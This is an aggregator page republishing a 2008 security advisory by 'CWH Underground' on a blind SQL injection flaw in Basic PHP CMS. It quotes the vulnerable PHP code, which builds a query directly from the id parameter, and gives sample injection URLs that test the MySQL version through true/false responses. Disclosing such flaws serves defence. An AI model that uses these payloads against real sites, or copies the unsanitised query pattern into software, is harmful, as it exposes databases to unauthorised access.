Lucene search

K

basicphpcms-sql.txt

🗓️ 29 Nov 2008 00:00:00Reported by CWH UndergroundType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 14 Views

Basic PHP CMS Blind SQL Injection Vulnerability dated 27 Nov 200

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`==================================================================  
Basic PHP CMS (index.php id) Blind SQL Injection Vulnerability  
==================================================================  
  
,--^----------,--------,-----,-------^--,  
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..  
`+---------------------------^----------|  
`\_,-------, _________________________|  
/ XXXXXX /`| /  
/ XXXXXX / `\ /  
/ XXXXXX /\______(  
/ XXXXXX /   
/ XXXXXX /  
(________(   
`------'  
  
  
AUTHOR : CWH Underground  
DATE : 27 November 2008  
SITE : cwh.citec.us  
  
  
#####################################################  
APPLICATION : Basic PHP CMS  
DOWNLOAD : http://www.content-management-software.us/basiccms.zip  
#####################################################  
  
--- Blind SQL Injection ---  
  
-----------------------------  
Vulnerable File (index.php)  
-----------------------------  
  
if ($strID != "")  
{  
$strsql = "SELECT description ";  
$strsql .=" FROM pages_t_details ";  
$strsql .=" WHERE id=$strID";  
$conclass =new DataBase();  
$rst= $conclass->Execute ($strsql,$strError);  
if ($strError=="")  
{  
while ($line = mysql_fetch_array($rst, MYSQL_ASSOC))   
{  
$strDetails=$line['description'];  
}  
}  
  
}  
  
---------  
Exploit  
---------  
  
Test Blind SQL Injection in MYSQL Version 5  
  
True  
[+] http://[Target]/[basiccms_path]/index.php?id=1 and substring(@@version,1,1)=5--  
  
False  
[+] http://[Target]/[basiccms_path]/index.php?id=1 and substring(@@version,1,1)=4--  
  
  
#######################################################################################  
Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK  
Special Thx : asylu3, str0ke, citec.us, milw0rm.com  
#######################################################################################  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo